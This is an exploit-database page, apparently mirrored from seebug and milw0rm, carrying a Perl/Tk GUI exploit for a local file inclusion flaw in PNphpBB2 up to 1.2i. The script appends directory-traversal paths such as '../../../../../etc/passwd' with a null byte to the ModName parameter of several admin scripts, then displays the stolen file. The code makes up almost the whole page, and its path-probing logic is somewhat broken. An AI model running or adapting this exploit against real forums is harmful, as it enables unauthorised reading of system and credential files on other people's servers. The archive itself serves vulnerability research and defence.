Lucene search
K

PNphpBB2 <= 12i - (ModName) Multiple Local File Inclusion Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

PNphpBB2 <= 12i - (ModName) Multiple Local File Inclusion Exploi

Code

                                                #!/usr/bin/perl
# PNphpBB2 &#60;= 1.2i (ModName) Multiple LFI Exploit
# by athos - staker[at]hotmail[dot]it

use strict;
use LWP::Simple;
use Tk;

my ($host,$file,$about);

my $poc = &#34;PNphpBB2 &#60;= 1.2i (ModName) Multiple LFI Exploit&#34;;
my $obj = new MainWindow(-background =&#62; &#39;#E4E4E4&#39;);

$obj-&#62;title($poc);
$obj-&#62;minsize(500,200);
$obj-&#62;maxsize(500,200);

text(&#39;Host/Path (ex: http://localhost/cms)&#39;);
input1();
text(&#39;Local File (ex: ../../../../../etc/passwd&#39;);
input2();
button();
Button();

print $host;

sub text {
   
   my $load = undef;
   my $text = shift;
   
   $load = $obj-&#62;Label(
                  -text  =&#62; $text,
                  -font  =&#62; &#39;monospace 8&#39;,
                  -foreground   =&#62; &#39;#000000&#39;,
                  -background   =&#62; &#39;#E4E4E4&#39;,
                )-&#62;pack(-anchor =&#62; &#39;n&#39;);
   return $load;           
}


sub input1 {
   
   return $obj-&#62;Entry(
                  -textvariable =&#62; \$host,
                  -font         =&#62; &#39;monospace 8&#39;,
                  -foreground   =&#62; &#39;#000000&#39;,
                  -background   =&#62; &#39;#E4E4E4&#39;,
                  )-&#62;pack(-anchor =&#62; &#39;n&#39;);
   
}


sub input2 {
   
   return $obj-&#62;Entry(
                  -textvariable =&#62; \$file,
                  -font         =&#62; &#39;monospace 8&#39;,
                  -foreground   =&#62; &#39;#000000&#39;,
                  -background   =&#62; &#39;#E4E4E4&#39;,
                  )-&#62;pack(-anchor =&#62; &#39;n&#39;);
   
}

sub button {

   return $obj-&#62;Button(
                -text    =&#62; &#39;Exploit&#39;,
                -font    =&#62; &#39;monospace 8&#39;,
                -foreground   =&#62; &#39;#000000&#39;,
                -background   =&#62; &#39;#E4E4E4&#39;,
                -command =&#62; sub { exploit(); }
               )-&#62;pack(-anchor =&#62; &#39;n&#39;);
}

sub Button {
   
   return $obj-&#62;Button(
                -text    =&#62; &#39;Credits&#39;,
                -font    =&#62; &#39;monospace 8&#39;,
                -foreground   =&#62; &#39;#000000&#39;,
                -background   =&#62; &#39;#E4E4E4&#39;,
                -command =&#62; sub { about(); }
               )-&#62;pack(-anchor =&#62; &#39;n&#39;);
}

sub exploit {
   
   my $enum = 0;
   my @path = (
             &#39;/admin/admin_words.php?ModName=&#39;,
             &#39;/admin/admin_groups_reapir.php?ModName=&#39;,
             &#39;/admin/admin_smilies.php?ModName=&#39;,
             &#39;/admin/admin_ranks.php?ModName=&#39;,
             &#39;/admin/admin_styles.php?ModName=&#39;,
             &#39;/admin/admin_users.php?ModName=&#39;,
           );  
   
   if(get($path[$enum]) =~ /no such file/i) {
      $enum++;
   }
   else {
      window(get($host.$path[$enum].$file.&#39;%00&#39;));
   }            
}


sub window {
   
   my $A = shift;
   my $T = new MainWindow(-background =&#62; &#39;#E4E4E4&#39;);
   
   $T-&#62;title(&#39;Exploit Content&#39;);
   
   return $T-&#62;Label(
              -text       =&#62; $A,
              -font       =&#62; &#39;monospace 8&#39;,
              -background =&#62; &#39;#E4E4E4&#39;,
              -foreground =&#62; &#39;#000000&#39;,
            )-&#62;pack(-anchor =&#62; &#39;n&#39;);  
}            

sub about {
   
   $about .= $poc;
   $about .= &#34;\nby athos - staker[at]hotmail[dot]it\r&#34;;
   $about .= &#34;\ndownload on http://www.pnphpbb.com\r&#34;;
   $about .= &#34;\nregister globals  = 1\r&#34;;
   $about .= &#34;\nmagic quotes gpc = 0\r\n&#34;;
   
   my $H = new MainWindow(-background =&#62; &#39;#E4E4E4&#39;);
   
   $H-&#62;title(&#39;About&#39;);
   $H-&#62;minsize(500,200);
   $H-&#62;maxsize(500,200);
   
   return $H-&#62;Label(
              -text       =&#62; $about,
              -font       =&#62; &#39;monospace 8&#39;,
              -background =&#62; &#39;#E4E4E4&#39;,
              -foreground =&#62; &#39;#000000&#39;,
            )-&#62;pack(-anchor =&#62; &#39;n&#39;);
}



MainLoop;

# milw0rm.com [2009-01-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21